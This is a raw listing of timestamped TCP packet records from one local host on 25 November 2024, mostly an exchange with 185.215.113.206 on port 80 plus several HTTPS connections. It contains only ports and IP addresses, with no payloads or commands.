Nov 25, 2024 12:08:49.061403036 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:49.061598063 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:49.061652899 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:49.065049887 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:49.065145969 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:49.065157890 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:49.065171003 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:49.065181971 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:49.065195084 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:49.065198898 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:49.065239906 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:49.065396070 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:49.065408945 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:49.065478086 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:49.066819906 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:49.066832066 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:49.066997051 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:49.067668915 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:49.067682028 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:49.067809105 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:49.068541050 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:49.068603039 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:49.068715096 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:49.068922043 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:49.069278002 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:49.069288969 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:49.069430113 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:49.070127010 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:49.070275068 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:49.070290089 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:49.070339918 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:49.070977926 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:49.071063042 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:49.071155071 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:49.071357965 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:49.071860075 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:49.071873903 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:49.071985006 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:49.072861910 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:49.072874069 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:49.072918892 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:49.073734999 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:49.073851109 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:49.073909044 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:49.074003935 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:49.074454069 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:49.074500084 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:49.074526072 CET	443	49793	204.79.197.203	192.168.2.8
Nov 25, 2024 12:08:49.074641943 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:49.074851036 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:49.074886084 CET	49793	443	192.168.2.8	204.79.197.203
Nov 25, 2024 12:08:49.074894905 CET	443	49793	204.79.197.203	192.168.2.8
Nov 25, 2024 12:08:49.075586081 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:49.075597048 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:49.075656891 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:49.075998068 CET	443	49793	204.79.197.203	192.168.2.8
Nov 25, 2024 12:08:49.076055050 CET	49793	443	192.168.2.8	204.79.197.203
Nov 25, 2024 12:08:49.076203108 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:49.076333046 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:49.076368093 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:49.076468945 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:49.077075958 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:49.077146053 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:49.077207088 CET	49793	443	192.168.2.8	204.79.197.203
Nov 25, 2024 12:08:49.077243090 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:49.077270031 CET	443	49793	204.79.197.203	192.168.2.8
Nov 25, 2024 12:08:49.077342987 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:49.077955961 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:49.077966928 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:49.078075886 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:49.078984022 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:49.078995943 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:49.079094887 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:49.079770088 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:49.079854965 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:49.079931974 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:49.079991102 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:49.080538988 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:49.080708027 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:49.080784082 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:49.081489086 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:49.081581116 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:49.081650972 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:49.081691980 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:49.082367897 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:49.082479000 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:49.082544088 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:49.082675934 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:49.083090067 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:49.083143950 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:49.083271027 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:49.083333969 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:49.084105015 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:49.084161997 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:49.084296942 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:49.084485054 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:49.085146904 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:49.085159063 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:49.085206985 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:49.085206985 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:49.085789919 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:49.085900068 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:49.085927963 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:49.085994005 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:49.086661100 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:49.086853027 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:49.086936951 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:49.087749004 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:49.087759972 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:49.087836027 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:49.088570118 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:49.088737965 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:49.088752031 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:49.088792086 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:49.089375019 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:49.089437008 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:49.089509010 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:49.089564085 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:49.090207100 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:49.090332031 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:49.090396881 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:49.090485096 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:49.090962887 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:49.091043949 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:49.091150999 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:49.091279030 CET	443	49782	13.107.246.63	192.168.2.8
Nov 25, 2024 12:08:49.091305017 CET	443	49782	13.107.246.63	192.168.2.8
Nov 25, 2024 12:08:49.091321945 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:49.091344118 CET	49782	443	192.168.2.8	13.107.246.63
Nov 25, 2024 12:08:49.091352940 CET	443	49782	13.107.246.63	192.168.2.8
Nov 25, 2024 12:08:49.091376066 CET	49782	443	192.168.2.8	13.107.246.63
Nov 25, 2024 12:08:49.091401100 CET	49782	443	192.168.2.8	13.107.246.63
Nov 25, 2024 12:08:49.092108965 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:49.092197895 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:49.092264891 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:49.092327118 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:49.092998028 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:49.093008995 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:49.093077898 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:49.093077898 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:49.093853951 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:49.093866110 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:49.093935966 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:49.094664097 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:49.094815016 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:49.094887018 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:49.095371008 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:49.095382929 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:49.095455885 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:49.095455885 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:49.096347094 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:49.096359015 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:49.096414089 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:49.097186089 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:49.097376108 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:49.097438097 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:49.098246098 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:49.098258018 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:49.098304987 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:49.098321915 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:49.099205971 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:49.099219084 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:49.099291086 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:49.099999905 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:49.100011110 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:49.100049973 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:49.100076914 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:49.100596905 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:49.100651026 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:49.100805998 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:49.100860119 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:49.101659060 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:49.101669073 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:49.101711035 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:49.102487087 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:49.102503061 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:49.102538109 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:49.102549076 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:49.102576971 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:49.102641106 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:49.102989912 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:49.103090048 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:49.103118896 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:49.103178024 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:49.105767965 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:49.106234074 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:49.106363058 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:49.106944084 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:49.106956005 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:49.107013941 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:49.107418060 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:49.107661963 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:49.108163118 CET	443	49794	23.44.201.23	192.168.2.8
Nov 25, 2024 12:08:49.108382940 CET	49794	443	192.168.2.8	23.44.201.23
Nov 25, 2024 12:08:49.108392954 CET	443	49794	23.44.201.23	192.168.2.8
Nov 25, 2024 12:08:49.111957073 CET	443	49794	23.44.201.23	192.168.2.8
Nov 25, 2024 12:08:49.112031937 CET	49794	443	192.168.2.8	23.44.201.23
Nov 25, 2024 12:08:49.113013029 CET	49794	443	192.168.2.8	23.44.201.23
Nov 25, 2024 12:08:49.113198042 CET	443	49794	23.44.201.23	192.168.2.8
Nov 25, 2024 12:08:49.124027014 CET	49793	443	192.168.2.8	204.79.197.203
Nov 25, 2024 12:08:49.124033928 CET	443	49793	204.79.197.203	192.168.2.8
Nov 25, 2024 12:08:49.154247046 CET	443	49796	104.117.182.56	192.168.2.8
Nov 25, 2024 12:08:49.154758930 CET	49794	443	192.168.2.8	23.44.201.23
Nov 25, 2024 12:08:49.154766083 CET	443	49794	23.44.201.23	192.168.2.8
Nov 25, 2024 12:08:49.156055927 CET	49796	443	192.168.2.8	104.117.182.56
Nov 25, 2024 12:08:49.156064987 CET	443	49796	104.117.182.56	192.168.2.8
Nov 25, 2024 12:08:49.157624960 CET	443	49796	104.117.182.56	192.168.2.8
Nov 25, 2024 12:08:49.157721043 CET	49796	443	192.168.2.8	104.117.182.56
Nov 25, 2024 12:08:49.158668041 CET	49796	443	192.168.2.8	104.117.182.56
Nov 25, 2024 12:08:49.158752918 CET	443	49796	104.117.182.56	192.168.2.8
Nov 25, 2024 12:08:49.169826031 CET	49793	443	192.168.2.8	204.79.197.203
Nov 25, 2024 12:08:49.174617052 CET	443	49782	13.107.246.63	192.168.2.8
Nov 25, 2024 12:08:49.174639940 CET	443	49782	13.107.246.63	192.168.2.8
Nov 25, 2024 12:08:49.174690962 CET	49782	443	192.168.2.8	13.107.246.63
Nov 25, 2024 12:08:49.174700975 CET	443	49782	13.107.246.63	192.168.2.8
Nov 25, 2024 12:08:49.174726963 CET	49782	443	192.168.2.8	13.107.246.63
Nov 25, 2024 12:08:49.174746037 CET	49782	443	192.168.2.8	13.107.246.63
Nov 25, 2024 12:08:49.200508118 CET	443	49787	152.195.19.97	192.168.2.8
Nov 25, 2024 12:08:49.200705051 CET	49796	443	192.168.2.8	104.117.182.56
Nov 25, 2024 12:08:49.200720072 CET	443	49796	104.117.182.56	192.168.2.8
Nov 25, 2024 12:08:49.200757027 CET	49794	443	192.168.2.8	23.44.201.23
Nov 25, 2024 12:08:49.228194952 CET	443	49787	152.195.19.97	192.168.2.8
Nov 25, 2024 12:08:49.228209972 CET	443	49787	152.195.19.97	192.168.2.8
Nov 25, 2024 12:08:49.228229046 CET	443	49787	152.195.19.97	192.168.2.8
Nov 25, 2024 12:08:49.228239059 CET	443	49787	152.195.19.97	192.168.2.8
Nov 25, 2024 12:08:49.228260994 CET	49787	443	192.168.2.8	152.195.19.97
Nov 25, 2024 12:08:49.228274107 CET	443	49787	152.195.19.97	192.168.2.8
Nov 25, 2024 12:08:49.228288889 CET	49787	443	192.168.2.8	152.195.19.97
Nov 25, 2024 12:08:49.228378057 CET	443	49787	152.195.19.97	192.168.2.8
Nov 25, 2024 12:08:49.228467941 CET	49787	443	192.168.2.8	152.195.19.97
Nov 25, 2024 12:08:49.228518963 CET	49787	443	192.168.2.8	152.195.19.97
Nov 25, 2024 12:08:49.228532076 CET	443	49787	152.195.19.97	192.168.2.8
Nov 25, 2024 12:08:49.228547096 CET	49787	443	192.168.2.8	152.195.19.97
Nov 25, 2024 12:08:49.229940891 CET	49787	443	192.168.2.8	152.195.19.97
Nov 25, 2024 12:08:49.247773886 CET	49796	443	192.168.2.8	104.117.182.56
Nov 25, 2024 12:08:49.262362003 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:49.262448072 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:49.262501955 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:49.262595892 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:49.262851954 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:49.262864113 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:49.262926102 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:49.262926102 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:49.263788939 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:49.263799906 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:49.263851881 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:49.263878107 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:49.264487982 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:49.264630079 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:49.264728069 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:49.265300989 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:49.265466928 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:49.265466928 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:49.265530109 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:49.266222954 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:49.266326904 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:49.266371012 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:49.267127037 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:49.267255068 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:49.267268896 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:49.267338991 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:49.268030882 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:49.268117905 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:49.268177986 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:49.268388987 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:49.268774033 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:49.268918991 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:49.269105911 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:49.269288063 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:49.269396067 CET	443	49781	40.126.53.6	192.168.2.8
Nov 25, 2024 12:08:49.269422054 CET	443	49781	40.126.53.6	192.168.2.8
Nov 25, 2024 12:08:49.269459963 CET	443	49781	40.126.53.6	192.168.2.8
Nov 25, 2024 12:08:49.269484997 CET	49781	443	192.168.2.8	40.126.53.6
Nov 25, 2024 12:08:49.269504070 CET	443	49781	40.126.53.6	192.168.2.8
Nov 25, 2024 12:08:49.269515991 CET	49781	443	192.168.2.8	40.126.53.6
Nov 25, 2024 12:08:49.269879103 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:49.269891977 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:49.270045042 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:49.270178080 CET	49781	443	192.168.2.8	40.126.53.6
Nov 25, 2024 12:08:49.270190001 CET	443	49781	40.126.53.6	192.168.2.8
Nov 25, 2024 12:08:49.270200014 CET	49781	443	192.168.2.8	40.126.53.6
Nov 25, 2024 12:08:49.270318985 CET	443	49781	40.126.53.6	192.168.2.8
Nov 25, 2024 12:08:49.270348072 CET	443	49781	40.126.53.6	192.168.2.8
Nov 25, 2024 12:08:49.270400047 CET	49781	443	192.168.2.8	40.126.53.6
Nov 25, 2024 12:08:49.270555973 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:49.270603895 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:49.270730019 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:49.270770073 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:49.271492004 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:49.271591902 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:49.271644115 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:49.271683931 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:49.272357941 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:49.272514105 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:49.272526026 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:49.272572041 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:49.273060083 CET	443	49782	13.107.246.63	192.168.2.8
Nov 25, 2024 12:08:49.273088932 CET	443	49782	13.107.246.63	192.168.2.8
Nov 25, 2024 12:08:49.273128033 CET	49782	443	192.168.2.8	13.107.246.63
Nov 25, 2024 12:08:49.273140907 CET	443	49782	13.107.246.63	192.168.2.8
Nov 25, 2024 12:08:49.273171902 CET	49782	443	192.168.2.8	13.107.246.63
Nov 25, 2024 12:08:49.273180962 CET	49782	443	192.168.2.8	13.107.246.63
Nov 25, 2024 12:08:49.273348093 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:49.273360014 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:49.273415089 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:49.273415089 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:49.274163961 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:49.274300098 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:49.274302006 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:49.274346113 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:49.275063038 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:49.275075912 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:49.275213957 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:49.275818110 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:49.275978088 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:49.276150942 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:49.276807070 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:49.276819944 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:49.276875973 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:49.276875973 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:49.277661085 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:49.277673006 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:49.277733088 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:49.277733088 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:49.278479099 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:49.278491020 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:49.278536081 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:49.278553963 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:49.279254913 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:49.279396057 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:49.279459000 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:49.280149937 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:49.280306101 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:49.280364037 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:49.281004906 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:49.281163931 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:49.281435966 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:49.281790972 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:49.281804085 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:49.281848907 CET	49744	80	192.168.2.8	185.215.113.206
